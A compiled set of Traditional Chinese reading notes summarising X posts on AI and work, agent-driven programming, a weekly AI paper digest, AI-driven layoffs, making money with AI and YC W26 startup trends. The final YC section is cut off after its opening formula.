# 焦慮方向搞錯了：不是 AI 取代你，是會用 AI 的人淘汰你 (The Producer's Perspective on AI)
原始來源與檔名：20260512_2026-05-05T094049+0800-担心被 AI 取代不如用 AI 让别人失业.md
來源：[[@HytidelLegend]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094049+0800-担心被 AI 取代不如用 AI 让别人失业.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Victim Mindset = "Will AI replace me?" (Focus on risk)
> Producer Mindset = "How do I use AI to replace others?" (Focus on leverage)
> Future Worker = Specialist + AI Tools -> Aggregated Polymath.
_這是一篇破除「AI 失業焦慮」的認知升級文。作者指出，大眾焦慮的方向完全搞錯了：你不該問 AI 會不會搶你的飯碗，你該問自己有沒有用 AI 提高產能去搶別人的飯碗。文章分析，由於企業勞動力供需邏輯（在非高薪地區，省下的人力成本有限）以及消費者需求的不滅，真正會發生的不是職缺消失，而是職能的「聚合 (Aggregation)」。未來的競爭不是人與 AI 的競爭，而是「懂 AI 提問的聚合型人才」對抗「單一技能的傳統工人」。_
### 一句話
> 從「受害者視角」切換到「生產者視角」。你不再隸屬於任何組織，你只屬於市場。在這個邏輯下，AI 不是來取代你的敵人，而是你用來在市場上增加自身價值的超級槓桿。每一次技術革命都沒有讓人變閒，AI 也不會；它只會把原本需要三個專業人士的活，壓縮給一個懂得指揮 AI 的「多面手」來完成。你要做的，就是成為那個多面手。
### 餐巾紙草圖
```text
[ The Shift in Job Roles ]
Past (Specialized):
Photographer (Shoots) + Retoucher (Edits) + Writer (Captions) -> 3 People, 3 Salaries.
Future (Aggregated):
Photographer (Shoots + Prompts AI to Retouch + Prompts AI to Write) -> 1 Polymath, 1 Salary.
Result: 2 people lose jobs, 1 person gains extreme leverage.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心提問**: 大部分人問 "AI 會不會讓我失業"（受害者視角）。少部分人問 "我能不能用 AI 讓別人失業"（生產者視角）。
- **為什麼不會立刻爆發大失業**:
1. **成本核算**: 美國科技公司裁員是因為人力成本極高（數十萬美金）。在人力成本較低的環境，企業並沒有強烈的動機為了省一點錢而全面引入不成熟的 AI。
2. **需求不滅與職位聚合**: 社會分工依然存在，但崗位要求變了。原本只需要會拍照，現在要求會拍照＋用 AI 修圖＋用 AI 剪片。崗位正在「聚合」，單一技能者面臨危機。
- **技術革命的歷史規律**: 電燈發明帶來的是夜班，不是夜生活。AI 帶來的是更高壓的產出要求與新形態的工作（如資料標註、Prompt 工程）。
- **解藥**: 把 AI 當作槓桿。自己卷自己，主動把 AI 嵌入工作流。改變舊習慣很痛苦，但這是「難而正確的事」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **槓桿效應**: 在市場經濟中，工具本身不創造財富，但工具能將擁有者的技能放大。如果你是個優秀的作家，AI 可以幫你處理排版、校對、SEO 標籤，讓你的產出量提升 5 倍。這種「產能差距」才是導致其他人被市場淘汰的主因，而不是 AI 這個軟體本身。
2. **組織解構**: 文章末尾提到的 "你不属于任何组织，你只属于市场"，深刻點出了未來工作型態的本質。當一人公司（Solopreneur）透過 AI 擁有了一家中型企業的產能時，傳統的層級式組織就會解體。
### 關鍵證據
- 作者以自身為例：這篇文章就是 AI 輔助創作的。透過對過去語料的「蒸餾 (Distillation)」，AI 已經能模仿出作者七八成的風格，作者只需進行最後的微調。這是對「AI 聚合生產力」最直接的證明。
### 邊界條件
- **領域限制**: 這種「聚合效應」在數位內容創作、軟體開發、行銷策劃等**資訊密集型產業**最為明顯。在需要高度實體互動的服務業（如醫療照護、高級餐飲服務），AI 的槓桿效應在短期內依然有限。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這與《The Biggest Shift in Programming in 20 Years》中提到的 "From Typist to Systems Thinker" 完全一致。工程師不再只是寫代碼的人，而是聚合了架構設計、測試驗證、除錯的「系統思考者」。
- **深層洞見**: **"真正会淘汰你的不是 AI，而是懂得向 AI 提问、会用 AI 提高产出的那个人。这个人可能是你的同事，可能是你的竞争对手，也可能是你自己。"** 焦慮的來源通常是「無力感」，當你把視角從「即將被取代的弱者」轉換為「主動掌握槓桿的強者」，焦慮就會轉化為學習的動力。
- **行動呼籲**:
審視你現在的工作流程，找出最耗時、最不需要創意的「搬磚」環節。今天就嘗試用任何一款 AI 工具（ChatGPT, Claude 等）來自動化這個環節。邁出主動「聚合」的第一步。
前沿技術
程式設計 20 年來最大的劇變：從「撰寫代碼」到「指揮智能」 (The Shift to Directing Intelligence)
"如果你還在抱怨 AI 寫錯語法，你已經被時代淘汰了。這篇文章深刻剖析了 Agent 時代的開發者思維轉變。今天的 AI 錯誤不再是語法錯誤，而是像個過度自信的初級工程師：過度設計、忽視模糊地帶、默默修改不相干的代碼。因此，開發者的核心技能，已經從「精通語法 (Generation)」轉變為「系統設計、制定約束條件與結果驗證 (Discrimination)」。你能寫多少行 Code 已不重要，重要的是你能否精準定義「什麼是正確的」。"
---
tags: [前沿技術, 思維模型, 開發工具]
date: 2026-05-03
source: "20260512_2026-05-05T094043+0800-The Biggest Shift in Programming in 20 Years — Andrej Karpathy.md"
---
# 程式設計 20 年來最大的劇變：從「撰寫代碼」到「指揮智能」 (The Shift to Directing Intelligence)
原始來源與檔名：20260512_2026-05-05T094043+0800-The Biggest Shift in Programming in 20 Years — Andrej Karpathy.md
來源：[[@Suryanshti777]] / X (Twitter) (引述 Andrej Karpathy) — 2026-05-03
原始檔名：`2026-05-05T094043+0800-The Biggest Shift in Programming in 20 Years — Andrej Karpathy.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Past: Ideas -> Syntax (Manual Coding).
> Present: Ideas -> Constraints & Verification -> Working Systems (Directing Intelligence).
> AI Failure Mode = Confident Junior Engineer (Subtle wrong assumptions).
> Solution = Think Before Coding + Simplicity First + Surgical Changes + Goal-Driven Execution.
_Andrej Karpathy 點出了 2026 年程式開發的終極轉變：我們不再是寫代碼的人，而是「指揮智能 (Directing Intelligence)」的人。過去 20 年，工程師的工作是將想法翻譯成語法；現在，高階工程師 80% 的工作是由 Agent 驅動。文章指出，把 AI 當成「代碼自動補全器」是錯的；真正的威力在於給予 AI 成功條件，讓它無限循環直到通過測試。AI 最大的優勢不是速度，而是「無限的耐心與體力 (Programmable Stamina)」，這讓我們能挑戰過去不敢碰的複雜架構。_
### 一句話
> 如果你還在抱怨 AI 寫錯語法，你已經被時代淘汰了。這篇文章深刻剖析了 Agent 時代的開發者思維轉變。今天的 AI 錯誤不再是語法錯誤，而是像個過度自信的初級工程師：過度設計、忽視模糊地帶、默默修改不相干的代碼。因此，開發者的核心技能，已經從「精通語法 (Generation)」轉變為「系統設計、制定約束條件與結果驗證 (Discrimination)」。你能寫多少行 Code 已不重要，重要的是你能否精準定義「什麼是正確的」。
### 餐巾紙草圖
```text
[ Paradigm Collapse ]
Old Way:
Brain (Idea) -> Compile (Mental Syntax) -> Hands (Type Loop) -> Result.
New Way:
Brain (Idea & Constraints) -> Agent (Iterates 50 times endlessly) -> Verifier (Tests Pass) -> Result.
Your Role Shift:
Typist -> Systems Thinker.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **典範轉移 (Paradigm Collapse)**: 頂尖工程師已經有 80% 的代碼是 Agent 驅動的。過程不再是 `Idea -> Syntax`，而是 `Idea -> Working System`。大腦不再需要進行編譯。
- **思維重構**: 一開始會抗拒，覺得用自然語言寫程式不對勁。但很快你會停止思考函數和迴圈，轉而思考：系統架構、約束條件、預期結果、驗證機制。
- **當前 AI 的失敗模式**: 不再是語法錯誤。它現在失敗得像個「有點過度自信的初級工程師」：做了錯誤的預設假設、過度抽象化、忽視模糊需求、自信地產出錯誤結果。
- **四大解法 (The 4 Principles)**:
1. **動手前先思考 (Think Before Coding)**: 強迫模型列出假設、點出模糊地帶並提問。
2. **極致簡單 (Simplicity First)**: 零猜測性抽象化。把 1000 行代碼縮減成 100 行才是常態。
3. **外科手術式修改 (Surgical Changes)**: 只准修改被要求的區塊，禁止順手「清理」代碼。
4. **目標驅動 (Goal-Driven Execution)**: 定義測試與成功條件，讓 Agent 自己 Loop 到成功。
- **隱藏超能力：無限體力 (Infinite Stamina)**: Agent 不會累。它願意花 30 分鐘嘗試 50 種 debug 方法。體力現在成為了可程式化的資源。
- **不可逆的代價**: 開發者會逐漸失去從零手寫底層代碼的能力，從「打字員 (Typist)」變成「系統思考者 (Systems Thinker)」。
- **即將到來的垃圾末日 (Slopocalypse)**: 劣質 AI 生成的程式碼與內容將淹沒 GitHub。唯有具備「品味 (Taste)」與「驗證能力 (Verification)」的人能脫穎而出。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **生成與判別的非對稱性 (Generation vs. Discrimination)**: 作者指出 `writing code ≠ reading and judging code`。隨著 AI 生成能力的爆炸，生成的成本趨近於零，這意味著「判別能力 (Discrimination / Verification)」的價值將無限飆升。你不需要會寫，但你必須具備極高的品味來一眼看出架構的缺陷。
2. **體力即算力 (Stamina is now programmable)**: 這是文章中最震撼的觀點。人類工程師在嘗試 5 種解法失敗後，通常會感到挫折、疲憊並放棄。但 Agent 的本質是一段 `while(not_success)` 迴圈，它可以不帶情緒地嘗試 500 次。這不只是速度的提升，這跨越了人類情緒耐受度的物理極限，解鎖了前所未有的解題維度。
### 關鍵證據
- 文章引用了當下社群中廣泛流傳的現象：給予 Agent 一個 `CLAUDE.md`，限制其不要進行無關修改（外科手術式修改），就能大幅降低混沌式的 Diff。這與我們前面讀到的《21 個 CLAUDE.md 必備設定》完美呼應，證明了這套工作流已在頂尖工程師圈內達成共識。
### 邊界條件
- **工具落後於智能**: 文章末段承認目前處於混亂期。AI 的智力已經到了可以接管系統的臨界點，但周邊的工具鏈（IDE、版控、除錯工具）還沒跟上，導致現在的工作流有時顯得笨拙。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《The 5-Layer Architecture》中的理念。工程師不再編寫裸代碼，而是在編寫 "Hooks", "Skills" 和 "Constitutions"（如 CLAUDE.md），這本質上就是在進行「系統級的約束與指揮」。
- **深層洞見**: **"You’re doing more ambitious work than ever before." (你正在做比以前更有野心的事)。** 很多人擔心 AI 取代程式設計師，但歷史證明，抽象層的提升只會帶來更大規模的建造。當你不再需要處理記憶體回收，你就有了精力去設計作業系統；當你不再需要手寫 API 路由，你就能把精力放在設計顛覆性的商業邏輯上。
- **行動呼籲**:
在你的下一個專案中，停止對 AI 說「寫一個排序函數給這筆資料」。改對 AI 說：「我需要一個系統來處理這類資料，請先列出你的架構假設、邊界條件與測試案例，等我批准後，你再開始寫程式。並且在測試完全通過前，不要停止重試。」這就是走向 Systems Thinker 的第一步。
前沿技術
頂尖 AI 論文週報：Agentic Harness 框架與潛空間協作 (Top AI Papers of the Week)
"語言是溝通的工具，但對於 AI 來說可能是個負擔。本週論文指出兩個極具破壞性的趨勢：第一，多代理系統 (Multi-agent) 正在放棄使用文字對話，轉而使用數學向量 (Latent Space) 直接在網路層溝通，速度翻倍且省下 90% 的 Token；第二，我們終於有了像 AHE 這樣的框架，讓 Agent 外殼的自我進化過程變得可審計、可追溯，結束了過去「黑箱盲調 Prompt」的玄學時代。"
---
tags: [前沿技術, Agent架構]
date: 2026-05-03
source: "20260512_2026-05-05T094134+0800-Top AI Papers of the Week.md"
---
# 頂尖 AI 論文週報：Agentic Harness 框架與潛空間協作 (Top AI Papers of the Week)
原始來源與檔名：20260512_2026-05-05T094134+0800-Top AI Papers of the Week.md
來源：[[@dair_ai]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094134+0800-Top AI Papers of the Week.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agentic Harness Engineering (AHE) = Explicit Components + Condensed Experience + Verifiable Decisions.
> RecursiveMAS = Agents communicating via Latent Vectors instead of Text (93% fewer tokens, 2x speed).
> AgenticQwen-30B = MoE Architecture + Self-Failure Driven Reasoning Loop + User-Simulation Loop.
_這是 DAIR.AI 策劃的 2026 年 5 月初最值得關注的 AI 論文週報。內容揭示了 Agent 技術正從「粗糙的手動調整」走向「系統化工程」。重點論文包含：將 Agent 外殼 (Harness) 開發框架化、具備審計能力的 AHE；證明小模型 (30B MoE) 加上雙飛輪 RL 訓練能匹敵 235B 巨獸的 AgenticQwen；以及突破性的 RecursiveMAS——讓多代理人放棄自然語言對話，改用「潛空間 (Latent Space) 向量」溝通以大幅降低 Token 消耗。_
### 一句話
> 語言是溝通的工具，但對於 AI 來說可能是個負擔。本週論文指出兩個極具破壞性的趨勢：第一，多代理系統 (Multi-agent) 正在放棄使用文字對話，轉而使用數學向量 (Latent Space) 直接在網路層溝通，速度翻倍且省下 90% 的 Token；第二，我們終於有了像 AHE 這樣的框架，讓 Agent 外殼的自我進化過程變得可審計、可追溯，結束了過去「黑箱盲調 Prompt」的玄學時代。
### 餐巾紙草圖
```text
[ Future Agent Topologies ]
Past (Text Bottleneck):
Agent 1 --(English Text: "I think...")--> Agent 2
(Slow, context dilution, huge token cost)
Future (Latent Recursion - RecursiveMAS):
Agent 1 --(Latent Vector: [0.4, -0.1...])--> Agent 2
(Fast, zero parse cost, joint gradient optimization)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **Agentic Harness Engineering (AHE)**: 解決 Agent 外殼 (Harness) 調整如瞎子摸象的問題。將框架拆分為三層：組件 (程式碼)、經驗 (壓縮過的 Trajectory Log) 與決策 (可驗證的假說)。使 Agent 系統的改進具備科學可證偽性。
- **AgenticQwen-30B-A3B**: 阿里巴巴的 30B 混合專家模型。透過「從自身錯誤中挖掘高難度推理」與「模擬刁鑽使用者」的雙 RL 飛輪訓練，在工具呼叫任務上匹敵 235B 大模型，極大降低了推理成本。
- **Agentic World Modeling**: 將世界模型分類為 3 個能力層級 (預測器、模擬器、進化器) 與 4 種法則 (物理、數位、社會、科學)。
- **RecursiveMAS & Latent Agents**: 解決多代理人對話的 Token 暴漲問題。讓 Agent 之間透過「潛空間 (Latent representation)」而非自然語言溝通，或將多代理辯論結構直接「蒸餾」進單一模型中，節省 34%~93% 的 Token。
- **OneManCompany**: 用動態招募的「天賦市場 (Talent Market)」取代固定的 Agent Org Chart (組織圖)，增加靈活性。
- **SKILL.md 結構化 (SSL)**: 將混亂的自然語言 SKILL.md 轉換為三層結構化 JSON，大幅提升 Skill 的檢索率與資安風險評估準確度。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **通訊開銷的物理限制 (The Communication Tax)**: 多代理人系統 (Multi-agent) 最致命的弱點在於，每增加一個 Agent，就需要將上一個 Agent 的輸出重新 Encode 和 Decode 成文字，這帶來了嚴重的 Context Dilution (上下文稀釋) 與延遲。RecursiveMAS 證明了，只要讓 Agent 在 Latent Space 中交換張量，效率會成倍躍升。
2. **小模型靠 Domain RL 逆襲**: AgenticQwen-30B 的成功證明了，在特定任務（如工具調用 Tool-use）上，算力不需要浪費在通用的基礎知識上。透過針對性的自我博弈 (Self-play) 與錯誤修正飛輪，小模型能在企業級應用中取代巨型模型，改變邊際成本結構。
### 關鍵證據
- AHE 框架在 Terminal-Bench 2 上將 Pass@1 提升至 77.0%，超越了手動設計的 Codex-CLI (71.9%)。
- RecursiveMAS 在 9 個 Benchmark 上平均準確率提升 8.3%，推論速度快 1.2~2.4 倍，Token 使用減少高達 75.6%。
### 邊界條件
- **Latent 溝通的透明度代價**: 雖然 RecursiveMAS 節省了大量 Token，但當 Agent 之間用數學向量而非英文對話時，人類開發者將失去「監控 Agent 思考過程」的除錯能力 (Interpretability)。這是在追求極致效率時必須付出的「黑箱」代價。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 論文中的《From Skill Text to Skill Structure》完美呼應了我們先前《工業級 Skill 撰寫指南》的核心：將介面、流程、副作用混合在一段 Prompt 裡是災難。必須走向結構化。
- **深層洞見**: **"Less talking, more thinking." (少點對話，多點思考)。** 這是 AI 發展到 2026 年的一個極大反思。過去幾年我們痴迷於讓 AI 擁有「人類般對話」的擬真感；但真正的高效能運算，應該回歸機器的本質。人類需要文字來溝通，但神經網路之間的溝通，數學向量才是母語。
- **行動呼籲**:
如果你在設計一個 Multi-agent 系統並苦惱於 API 費用暴漲，請關注「Latent Agents」這篇論文的思路：在開發期利用多代理對話來尋找最佳邏輯，然後將這套對話結構「蒸餾」到單一模型的提示詞中，在生產環境中只跑一次單模型推理。
商業模式
裁員潮的底層邏輯：代碼膨脹、AI 稅與對齊地獄 (The Layoffs Will Continue Until We Learn to Use AI)
"這篇充滿矽谷一線血淚的評論文章，揭示了科技大廠持續裁員的真實原因：並非 AI 直接「一對一」取代了員工，而是因為 AI 的引入打破了企業的單位經濟學。工程師大量消耗 Token 產生了 5 倍的代碼（投入增加），但由於缺乏有效管理與組織冗餘導致的「對齊稅」，這些代碼未能轉化為 5 倍的營收（成果未變）。為彌補高昂的 AI 基礎設施開銷並加快決策速度，高層只能選擇裁掉一部分人。"
---
tags: [商業模式, 職場趨勢, AI影響, 企業管理, 經濟分析]
date: 2026-05-06
source: "20260512_2026-05-12T093024+0800-裁员潮将持续，直到我们学会发掘 AI 的商业价值【译】.md"
---
# 裁員潮的底層邏輯：代碼膨脹、AI 稅與對齊地獄 (The Layoffs Will Continue Until We Learn to Use AI)
原始來源與檔名：20260512_2026-05-12T093024+0800-裁员潮将持续，直到我们学会发掘 AI 的商业价值【译】.md
來源：[[@dotey]] (原作者 Arnav Gupta) / X (Twitter) — 2026-05-06
原始檔名：`2026-05-12T093024+0800-裁员潮将持续，直到我们学会发掘 AI 的商业价值【译】.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Code = Input (Costs $ in AI Tokens)
> Features = Output
> User Paying = Outcome
>
> 5x AI Input ≠ 5x Outcome => Margin Collapse => Layoffs
_為什麼 AI 讓軟體工程師寫代碼快了 5 倍，公司卻還在瘋狂裁員？因為代碼只是「投入成本」。當每個工程師像吸毒一樣每天燒 100 美元的 Claude Token，瘋狂產出 5 倍的代碼，卻因為跨部門的「對齊地獄 (Alignment Hell)」互相卡脖子，導致最終營收沒有增加時，公司的資產負債表就崩潰了。裁員不是因為 AI 取代了你，而是為了填補龐大的 Token 帳單，以及用暴力物理手段減少組織內的溝通成本。_
### 一句話
> 這篇充滿矽谷一線血淚的評論文章，揭示了科技大廠持續裁員的真實原因：並非 AI 直接「一對一」取代了員工，而是因為 AI 的引入打破了企業的單位經濟學。工程師大量消耗 Token 產生了 5 倍的代碼（投入增加），但由於缺乏有效管理與組織冗餘導致的「對齊稅」，這些代碼未能轉化為 5 倍的營收（成果未變）。為彌補高昂的 AI 基礎設施開銷並加快決策速度，高層只能選擇裁掉一部分人。
### 餐巾紙草圖
```text
[The Broken AI Economics]
Before AI:
1 SDE -> Writes 1x Code -> Needs 1x Alignment Time -> Delivers 1 Feature -> $$
After AI (The Reality):
1 SDE + $30k Claude Tokens/yr -> Writes 5x Code (Input explodes)
|
v
Hits "Alignment Hell" (Other teams can't review/agree fast enough)
|
v
Still Delivers 1 Feature -> $$ (Revenue unchanged)
Result: Margins collapse.
Solution for Executives: Fire 20% of staff to pay the $30k Token bill and remove bottlenecks.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現象**: 科技界裁員潮不斷（如 Coinbase），大家在爭論這是真因為 AI，還是藉 AI 之名的「洗白 (AI-washing)」。
- **代碼膨脹**: 引入 AI 後，代碼產量與 PR 數量暴增 2-5 倍，全年 AI 預算幾個月就燒光。但 App 的外觀與收入並未發生 5 倍的改變。
- **商業本質**: 顧問的真理：投入 (Input) -> 產出 (Output) -> 成果 (Outcome)。代碼只是投入。Claude 按 Token 收費，你投入越多，成本越高，但如果不轉化為成果，公司就是在賠錢。
- **對齊地獄 (Alignment Tax)**: 以前寫代碼慢，爛點子在初期就被斃掉。現在寫代碼太便宜了，大家不爭論了，直接用 Claude 寫出 MVP。結果是多個團隊搞出互相衝突的功能，然後在「對齊會議」上卡死。
- **裁員的短期目的**:
1. **填補 AI 支出**: 每月 2500 美元的 Token 開銷，等於一個印度工程師的薪水。收入沒漲，成本漲了，只能裁人來平衡資產負債表。
2. **物理削減對齊稅**: 裁掉一個團隊，留下的人就不用花時間跟他們吵架了，交付速度反而變快。
- **結論**: 在企業學會如何讓 5 倍的代碼產能真正轉化為 5 倍的 GDP 之前，裁員潮不會停止。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI SaaS 定價模式的陷阱**: 作者敏銳地指出，傳統的 2B SaaS 如果能提升業績，通常會從「成果」中抽成。但大語言模型（如 Claude/GPT）是按 Token（投入）收費的。這導致了一個可怕的錯位：企業承擔了算力成本的指數級爆炸，卻沒有獲得對應的營收保證。
2. **組織摩擦力 (Friction) 的反直覺價值**: 過去，由於開發資源稀缺，只有真正深思熟慮的需求才能進入開發排期。資源稀缺成了一種自然的「濾網」。AI 打破了這個濾網，導致大量未體驗證的垃圾想法被快速寫成代碼，反而癱瘓了後端的審核與整合流程。
3. **裁員作為「解耦合」手段**: 大型組織累積了太多「組織脂肪」。裁員的本質，是用最粗暴的手段斬斷複雜的匯報線與依賴關係。當團隊變少，跨部門對齊的會議也就消失了，這在短期內確實能讓存活下來的團隊跑得更快。
### 關鍵證據
- 直接點出企業每人每年高達 3 萬美元的 Token 開銷。這個數字非常具體，且完美解釋了為何各大科技公司的財報上，AI 基礎設施支出與人力資源成本呈現零和博弈的狀態。
### 邊界條件
- 作者承認 AI 並未真正做到「拔插替換 (Drop-in replacement)」。AI 依然無法完全取代具有深厚業務領域知識的資深員工。被裁的往往是那些處於溝通節點上、或是產出純代碼但缺乏產品影響力的中基層員工。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美銜接了《如何成為 AI-Native 企業》的觀點。AI-Native 企業不只是「導入工具」，而是必須重構流程。如果組織結構依然是古典的科層制，導入 AI 只會引發本文所述的「對齊地獄」，並以大規模裁員收場。
- **深層洞見**: **「代碼只是投入。功能才是產出。用戶心甘情願掏錢，才是成果。」** 這是對所有軟體工程師最殘酷的警鐘。在 AI 時代，只會寫代碼 (Input) 的工程師價值趨近於零；能為公司帶來收入 (Outcome) 的工程師才具備不可替代性。
- **行動呼籲**:
身為職場人，立刻停止在履歷上吹噓「我今天用 AI 寫了幾千行代碼」。去思考並證明：你如何利用 AI 幫公司**賺到了錢**，或是**省下了對齊的時間**。成為那個推動 Outcome 的人，而不是那個消耗 Token 的 Input 產生器。
商業模式
賺錢的第一性原理：為何 AI 時代 99% 的人依然賺不到錢 (The First Principles of Making Money in the AI Era)
"這篇文章以極其犀利的視角剖析了 AI 時代的「財富焦慮」。作者打破了「努力=金錢」的線性迷思，提出了賺錢的五層第一性原理：別人願意付費 -> 解決真問題 -> 識別真需求 -> 運用槓桿 -> 構建系統。文章指出 AI 其實擴大了貧富差距，並透過 4 個真實案例（如年入 700 萬的獨立開發者、月入 12 萬的線下 AI 服務商），給出了普通人利用 AI 跨越階層的四步實操路徑。"
---
tags: [商業模式, AI實踐, 第一性原理, 個人發展]
date: 2026-05-09
source: "20260512_2026-05-12T093009+0800-赚钱的第一性原理：为什么 99% 的人在 AI 时代依然赚不到钱.md"
---
# 賺錢的第一性原理：為何 AI 時代 99% 的人依然賺不到錢 (The First Principles of Making Money in the AI Era)
原始來源與檔名：20260512_2026-05-12T093009+0800-赚钱的第一性原理：为什么 99% 的人在 AI 时代依然赚不到钱.md
來源：[[@WSInsights]] / X (Twitter) — 2026-05-09
原始檔名：`2026-05-12T093009+0800-赚钱的第一性原理：为什么 99% 的人在 AI 时代依然赚不到钱.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Poor's Equation = Time × Effort (Linear)
> The Wealthy's Equation = Value Created × Reach × Leverage (Exponential)
> AI's Role = Super-Leverage (Multiplier, not the base value)
_AI 不會讓窮人變富，只會讓會用槓桿的人變得巨富。賺錢的本質不是出賣體力，而是建立系統。如果你的認知是 0，AI 把你放大 100 倍，結果還是 0。唯有當你跨越了「尋找真需求」與「運用槓桿」的門檻，AI 才能幫你實現邊際成本趨近於零的指數級增長。_
### 一句話
> 這篇文章以極其犀利的視角剖析了 AI 時代的「財富焦慮」。作者打破了「努力=金錢」的線性迷思，提出了賺錢的五層第一性原理：別人願意付費 -> 解決真問題 -> 識別真需求 -> 運用槓桿 -> 構建系統。文章指出 AI 其實擴大了貧富差距，並透過 4 個真實案例（如年入 700 萬的獨立開發者、月入 12 萬的線下 AI 服務商），給出了普通人利用 AI 跨越階層的四步實操路徑。
### 餐巾紙草圖
```text
[The 5 Levels of Wealth Generation]
Level 5: System (Scalable, Defensible) -> $10M+
^
Level 4: Leverage (Code, Media, Capital, Brand) -> $100k+
^
Level 3: True Need (What wallets vote for)
^
Level 2: True Problem (Pain, Itch, Thrill)
^
Level 1: Willingness to Pay (Not just "useful") -> $0
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心謬誤**: 大眾認為 `錢 = 時間 × 努力`。實際上，真實的公式是 `錢 = 創造價值 × 觸達人數 × 放大倍數 (槓桿)`。
- **五層原理**:
1. 賺錢本質是「別人願意掏錢」。
2. 願意付費是因為「解決了真問題（痛點、癢點、爽點）」。
3. 解決真問題的前提是「識別真需求（錢包誠實）」。
4. 擴大收益的本質是「用槓桿代替時間（代碼、媒體等）」。
5. 持續賺錢的本質是「建立可複製的系統」。
- **AI 加劇差距**: AI 工具與生態（Claude Code, Cursor 等）多由美國主導。國內外基礎設施的落差，使得「會用國際頂尖工具的人」優勢被無限放大，而非縮小。
- **實戰案例**: 快速試錯的獨立開發者 (槓桿+系統)、矩陣發文的寶媽 (真需求+媒體)、用 Agent 寫代碼的工程師 (可規模化系統)、幫線下實體店用 AI 的 00 後 (解決真痛點)。
- **普通人四步走**: 找真需求池 (一週) -> 用 AI 擴大產能 (一個月) -> 確認槓桿類型 (三個月) -> 流程系統化 (六個月以上)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 是放大器，不是發動機**: 作者敏銳地指出，如果你原本就沒有可以變現的技能或對市場需求的嗅覺（Value = 0），那麼再強的 AI 也幫不了你。AI 只能解決「效率」問題，不能解決「需求」問題。
2. **打通信息流動層才是關鍵**: 國內模型分數雖然追上 GPT-4，但由於微信、抖音、淘寶等平台都是「數據孤島」，Agent 無法像在國外那樣實現全鏈路自動化觸達。這個洞見非常深刻，解釋了為何國內 AI 創業者變現如此困難——基礎設施不互通阻斷了「系統 (Level 5)」的建立。
3. **資訊差 (Information Asymmetry) 依然存在**: 案例四（幫實體店用 AI 的 00 後）證明了，你不需要成為 AI 專家，只需要比街邊小店的老闆早 6 個月學會使用基礎 AI 工具，這種「代差」就足以產生豐厚的利潤。
### 關鍵證據
- 引用 Anthropic 工程師 Boris Cherny 的真實案例：他在 30 天內幾乎沒親手寫代碼，全靠 Claude Code Agent 開發出年化 25 億美元收入的產品。這是「代碼作為最強槓桿」的極致體現。
### 邊界條件
- 作者明確給出了「預期管理」的邊界：跑通一個系統至少需要 6 到 12 個月。前三個月極有可能沒有收入。這篩選掉了那些抱著「30天月入十萬」幻想的投機者。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了我們先前關於 "AI-Native Enterprise" 和 "Agent Frameworks" 的探討。當個人學會利用 Agent 建立系統時，本質上這個人就已經成為了一家「AI-Native 的一人公司 (One-Person Unicorn)」。
- **深層洞見**: **「不要追求一次做一個完美產品。做小、做多、跑數據、留下能跑的、關掉不能跑的。」** 這不只是賺錢的哲學，這也是軟體工程中敏捷開發 (Agile) 和進化論 (Evolution) 的底層邏輯。AI 讓試錯成本降到無限低，這才是 AI 最大的商業紅利。
- **行動呼籲**:
1. 停止漫無目的地學習新的 AI 工具。
2. 檢視自己當前的賺錢模式：你是在第 1 層（出賣時間）還是在第 4 層（使用槓桿）？
3. 把你目前重複在做的一項工作，寫成 SOP，交給 AI 去跑。從今天開始練習建立你的「系統」。
商業策略
YC W26 深度拆解：務實的垂直 SaaS 與 AI 落地 (Decoding YC W26: Vertical SaaS + AI is the Only Play)
"這是一篇對 YC W26 投資趨勢的硬核數據分析。分析 132 個頂尖新創項目後，結論出奇地接地氣：YC 不投通用型 AI 平台，只投「在極度垂直場景（如工地電力估算、飛機技師管理）中已經跑通並收費」的小團隊（平均 2.7 人）。這意味著 AI 的基礎建設期已過，現在是「應用落地與商業變現」的肉搏戰。監管不是障礙而是護城河，越垂直、越無聊的生意，越能賺錢。"
---
tags: [商業策略, 產業趨勢, AI落地]
date: 2026-04-27
source: "20260512_2026-04-28T092555+0800-YC W26 深度拆解：扒完 132 个项目，发现他们只投一种人.md"
---
# YC W26 深度拆解：務實的垂直 SaaS 與 AI 落地 (Decoding YC W26: Vertical SaaS + AI is the Only Play)
原始來源與檔名：20260512_2026-04-28T092555+0800-YC W26 深度拆解：扒完 132 个项目，发现他们只投一种人.md
來源：[[@HoodyLiu]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092555+0800-YC W26 深度拆解：扒完 132 个项目，发现他们只投一种人.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Winning Startup 2026 = Boring Vertical Problem + SaaS Business Model + AI as Efficiency Lever.
> Valued by YC > "AI Platform that changes the world".
> Team Size = 2.7 people (You solve a real pain, charge money on day one, and use AI to scale).
